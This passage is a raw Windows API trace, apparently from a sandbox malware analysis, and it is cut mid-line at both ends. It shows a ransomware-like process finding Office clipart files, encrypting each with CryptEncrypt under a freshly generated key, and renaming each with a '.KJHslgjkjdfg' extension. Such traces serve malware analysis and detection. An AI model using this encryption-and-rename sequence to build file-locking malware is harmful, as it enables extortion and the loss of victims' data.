pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.909] GetProcessHeap () returned 0x990000 [0206.909] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.909] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.909] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.909] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.909] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.909] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.909] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.909] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.909] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.909] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.910] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4cea, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4cea, lpOverlapped=0x0) returned 1 [0206.911] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4cf0, dwBufLen=0x4cf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4cf0) returned 1 [0206.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.911] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4cf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4cf0, lpOverlapped=0x0) returned 1 [0206.911] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.911] SetEndOfFile (hFile=0x130) returned 1 [0206.914] GetProcessHeap () returned 0x990000 [0206.914] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.914] GetProcessHeap () returned 0x990000 [0206.914] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf.kjhslgjkjdfg")) returned 1 [0206.916] CloseHandle (hObject=0x130) returned 1 [0206.916] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd0f200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bd0f200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb12c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00640_.WMF", cAlternateFileName="")) returned 1 [0206.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.918] GetProcessHeap () returned 0x990000 [0206.918] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.918] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.918] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.921] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.921] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.921] GetProcessHeap () returned 0x990000 [0206.922] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.922] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.922] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.922] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.922] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.922] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.922] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.922] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.922] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.922] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.922] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.922] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.923] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb12c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb12c, lpOverlapped=0x0) returned 1 [0206.951] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb130, dwBufLen=0xb130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb130) returned 1 [0206.951] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.951] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb130, lpOverlapped=0x0) returned 1 [0206.952] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.952] SetEndOfFile (hFile=0x130) returned 1 [0206.955] GetProcessHeap () returned 0x990000 [0206.955] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.955] GetProcessHeap () returned 0x990000 [0206.955] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.955] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf.kjhslgjkjdfg")) returned 1 [0206.957] CloseHandle (hObject=0x130) returned 1 [0206.957] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x883d6b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x883d6b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6028, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00668_.WMF", cAlternateFileName="")) returned 1 [0206.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.958] GetProcessHeap () returned 0x990000 [0206.958] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.958] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.958] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.958] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.961] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.961] GetProcessHeap () returned 0x990000 [0206.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.961] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.961] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.961] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.961] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.961] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.961] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.961] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.961] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.961] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.962] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.962] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6028, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6028, lpOverlapped=0x0) returned 1 [0206.963] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6030, dwBufLen=0x6030 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6030) returned 1 [0206.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.963] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6030, lpOverlapped=0x0) returned 1 [0206.963] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.963] SetEndOfFile (hFile=0x130) returned 1 [0206.966] GetProcessHeap () returned 0x990000 [0206.966] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.966] GetProcessHeap () returned 0x990000 [0206.966] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.966] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf.kjhslgjkjdfg")) returned 1 [0206.967] CloseHandle (hObject=0x130) returned 1 [0206.967] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9c1f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a9c1f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x108a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00685_.WMF", cAlternateFileName="")) returned 1 [0206.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.969] GetProcessHeap () returned 0x990000 [0206.969] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.969] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.969] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.969] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0206.971] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.971] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.971] GetProcessHeap () returned 0x990000 [0206.971] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.972] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.972] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.972] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.972] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.972] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.972] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.972] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.972] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.972] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.972] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.972] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.972] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x108a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x108a, lpOverlapped=0x0) returned 1 [0206.973] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1090, dwBufLen=0x1090 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1090) returned 1 [0206.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.973] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1090, lpOverlapped=0x0) returned 1 [0206.973] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.973] SetEndOfFile (hFile=0x130) returned 1 [0206.976] GetProcessHeap () returned 0x990000 [0206.976] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.976] GetProcessHeap () returned 0x990000 [0206.976] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf.kjhslgjkjdfg")) returned 1 [0206.977] CloseHandle (hObject=0x130) returned 1 [0206.978] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78490a00, ftCreationTime.dwHighDateTime=0x1bf0b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78490a00, ftLastWriteTime.dwHighDateTime=0x1bf0b13, nFileSizeHigh=0x0, nFileSizeLow=0x112e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00686_.WMF", cAlternateFileName="")) returned 1 [0206.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.979] GetProcessHeap () returned 0x990000 [0206.979] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.979] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.979] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.979] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0206.981] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.981] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.981] GetProcessHeap () returned 0x990000 [0206.981] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.981] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.981] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.981] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.981] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.982] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.982] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.982] SetFilePointerEx (in: 